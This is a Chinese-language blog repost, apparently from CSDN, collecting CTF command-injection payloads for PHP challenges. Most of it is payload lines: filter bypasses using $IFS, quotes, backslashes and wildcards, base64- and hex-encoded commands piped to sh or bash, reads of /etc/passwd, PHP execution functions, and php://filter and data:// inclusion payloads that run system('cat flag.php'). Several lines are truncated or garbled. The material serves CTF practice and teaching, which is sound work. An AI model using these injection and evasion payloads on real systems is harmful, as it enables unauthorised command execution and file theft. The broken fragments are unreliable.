返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTF命令执行的常见姿势
  • 557
分享到

CTF命令执行的常见姿势

phplinux 2023-09-20 21:09:39 557人浏览 薄情痞子
摘要

命令执行的常见姿势 命令执行的常见姿势 ?c=cat flag.php; ?c=tac flag.php|| ?c=tac=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入

命令执行的常见姿势

命令执行的常见姿势

?c=cat flag.php;

?c=tac flag.php||

?c=tac

?c=tac

tac

?c=tac

?c=tac

?c=tac

c=tac

?c=nl

?c=nl${IFS}fl’'ag.php||

?c=nl${IFS}fl’'ag.php

?c=/bin/c??${IFS}???

?c=system(“cat flag.php”);

?c=echo `ls`;

分隔符和空格被过滤,联合执行命令:

?ip=%0acd%09..%0als =?ip=;cd ..;ls

过滤目录分隔符**/**总结:

用反斜杠查看文件夹内容|ls \flag_is_here 或者直接|ls flag_is_here

分号同步执行cd和cat命令

127.0.0.1&cd flag_is_here;tac flag_224812813310817.PHP

竖线被过滤可以用分号代替

黑洞

    system($c." >/dev/null 2>&1");   //黑洞尝试分号绕过payload:c=tac f*%26%26ls;

空格绕过方式

$IFS

$IFS$1

${IFS} – 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来

结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

$IFS$9 – 后面加个$与{}类似,起截断作用,$9是当前系统shell

进程第九个参数持有者,始终为空字符串,如

cat$IFS2$9flag.php

< 比如cat

<> 比如cat<>a.tct:表示cat a.txt

{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来

%20: 空格的URL编码

%09: 需要php环境,如cat%09flag.php

过滤空格常见绕过方式:1.

文件函数绕过:

cat–由第一行开始显示内容,并将所有内容输出

tac–从最后一行倒序显示内容,并将所有内容输出

more– 根据窗口大小,一页一页的现实文件内容

**less **和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head– 只显示头几行

**tail **–只显示最后几行

**nl **–类似于cat -n,显示时输出行号

tailf– 类似于tail -f

**vim **–使用vim工具打开文本

**vi **–使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

sort

文件函数绕过:

system()

passthru()

exec()

shell_exec()

popen()

proc_open()

pcntl_exec()

反引号**`` **同shell_exec()

system(“cat /etc/passwd”)<=>“\x73\x79\x73\x74\x65\x6d”("cat

/etc/passwd");

<=>

(sy.(st).em)(“cat /etc/passwd”);<=>

命令执行函数绕过:

**wh\o\ami ** //反斜线绕过

who"a"mi //双引号绕过

**whoa’m’i ** //单引号绕过

**whoam``i ** //反引号绕过

echo d2hvYW1p|base64 -d|sh

#base64绕过,其中d2hvYW1p是whoami的base64编码

echo d2hvYW1p|base64 -d|bash

#base64绕过,其中d2hvYW1p是whoami的base64编码

`echo d2hvYW1p|base64 -d`

//将其base64解码,然后用反引号来执行命令

echo 77686F616D69 | xxd -r -p | bash

//hex绕过,其中77686F616D69是whoami的hex编码

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami

who$@ami

whoa$*mi

过滤关键字段

**cat fl[abc]g.php ** //匹配[abc]中的任何一个

cat f[a-z]ag.txt //匹配a-z范围的任何字符

**cat fla* ** //用*匹配任意

a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php//内联执行

//正则

利用正则:比如要读取etc/passwd

cat /???/???

cat /???/pass*

cat /etc$u/passwd

绕过文件名通配符绕过,绕过重要字段:

payload1:c=system(“nl fla???”);

payload2:c=system(“nl fla*”);

payload3:c=echo `nl fl’'ag.php`;或者c=echo

`nl fl“”ag.php`;

payload4:c=echo `nl fl\ag.php`;//转义字符绕

payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

payload6:c=eval($_GET[1]);&1=system(‘nl flag.php’);

payload7:c=awk ‘{printf $0}’ flag.php||

另类操作

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=include$_GET[1]?>&1=data://text/plain,

c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

c=data://text/plain;base64,PD9waHAGC3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==上面解码是<?php system('cat flag.php');?>

来源地址:https://blog.csdn.net/weixin_40103894/article/details/127081718

--结束END--

本文标题: CTF命令执行的常见姿势

本文链接: https://lsjlt.com/news/413359.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • CTF命令执行的常见姿势
    命令执行的常见姿势 命令执行的常见姿势 c=cat flag.php; c=tac flag.php|| c=tac=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的...
    99+
    2023-09-20
    php linux
  • CTF-命令执行【超详细】
    前言 作者简介:不知名白帽,网络安全学习者。 博客主页:https://blog.csdn.net/m0_63127854type=blog CTF-专栏:https://blog.csdn.net/m0_63127854/cat...
    99+
    2023-08-31
    php 安全 网络
  • CTF命令执行及绕过技巧
    前言 今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列! 今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景! 正...
    99+
    2024-04-02
  • PHP常见的命令执行函数与代码执行函数
    目录 代码执行函数: 1. eval() GET和POST传参的区别  2. assert() 3. call_user_func() 4. create_function() 5. array_map() 6. call_user_fun...
    99+
    2023-09-05
    php 网络安全 web安全
  • 日常整理python执行系统命令的常见方法(全)
    具体内容如下: 1 os.system 例如 ipython中运行如下命令,返回运行状态status os.system('cat /etc/passwdqc.conf') min=disabled,24,...
    99+
    2022-06-04
    命令 日常 常见
  • Python中执行系统命令常见的几种方法
      Python中执行系统命令常见的几种方法:   (1)os.system   # 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息  # 如果再命令行下执行,结果直接打印出来  例如:  >>> impor...
    99+
    2023-01-31
    几种方法 命令 常见
  • 常见的linux命令
    这篇文章主要讲解了“常见的linux命令”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“常见的linux命令”吧!命令cpcp [参数] [源文件或目录] [目标...
    99+
    2023-06-05
  • Perl命令行有哪些常见用法
    这篇文章主要介绍了Perl命令行有哪些常见用法,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。Perl命令行之替换◆将所有C程序中的foo替换成bar,旧文件备份成.bakpe...
    99+
    2023-06-17
  • golang执行命令行的实现
    一般情况下,在 golang 中执行一些命令如 git clone,则可以使用 exec.Command 函数 func RunCommand(path, name string, ...
    99+
    2024-04-02
  • C# 调用命令行执行Cmd命令的操作
    1、不知道为啥 process.StartInfo.Arguments = "/c" + "start D:/Tim/Bin/QQScLauncher.exe"; 这个执行命...
    99+
    2024-04-02
  • 记录CTF命令执行练习中遇到的几道题(一些PHP命令过滤的绕过方法)
    题目1 if (isset($_GET["Command"]) && $_GET["Command"]) {$command = $_GET["Command"];if (!preg_match("/...
    99+
    2023-10-23
    php linux 开发语言
  • Linux Shell常见的命令行格式有哪些
    这篇文章主要介绍“Linux Shell常见的命令行格式有哪些”,在日常操作中,相信很多人在Linux Shell常见的命令行格式有哪些问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Linux Shell常见...
    99+
    2023-06-09
  • Oracle里常见的执行计划
    本文介绍了Oracle数据库里常见的执行计划,使用的Oracle数据库版本为11.2.0.1。1、与表访问相关的执行计划Oracle数据库里与表访问有关的两种方法:全表扫描和ROWID扫描。反映在执行计划上...
    99+
    2024-04-02
  • PHP常用命令执行函数是什么
    这篇文章主要介绍“PHP常用命令执行函数是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP常用命令执行函数是什么”文章能帮助大家解决问题。PHP命令执行函数常配合代码执行漏洞使用, 利用命令...
    99+
    2023-06-30
  • sql常见的查询命令
    本篇内容介绍了“sql常见的查询命令”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成! --查询版本号SQL...
    99+
    2024-04-02
  • 常见的MySQL命令大全
    这篇文章主要介绍“常见的MySQL命令大全”,在日常操作中,相信很多人在常见的MySQL命令大全问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”常见的MySQL命令大全”的疑惑...
    99+
    2024-04-02
  • PHP命令执行的函数
    在做面试题的时候发现,自己对PHP命令执行的函数的了解并不是很全面,就想这去学习一下。我也在网上找到了许多的资料,在这里我就相当于一个总结吧。 system(); System()函数的主要功能是在系统权限允许的情况是执行系统命令,w...
    99+
    2023-09-15
    linux 运维 服务器
  • python 执行 shell命令 的几
        os.system 最近有个需求就是页面上执行shell命令,第一想到的就是os.system os.system('cat /proc/cpuinfo') 但是发现页面上打印的命令执行结果 0 或者 1,当然不满足需求了。 ...
    99+
    2023-01-31
    命令 python shell
  • Golang执行cmd命令行的方法
    1. Golang执行系统命令使用 os/exec Command方法: func Command(name string, arg ...string) *Cmd 第一个参数是命...
    99+
    2024-04-02
  • Linux Shell 常见的命令行格式简明总结
    #在后台执行 cmd 指令cmd & #命令序列. 在同一行执行多个命令cmd1 ; cmd2 #在当前 shell 中以一组的形式执行多个命令{ cmd1 ; cmd2 ; } #在子 shell 中以...
    99+
    2022-06-04
    简明 命令行 常见
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作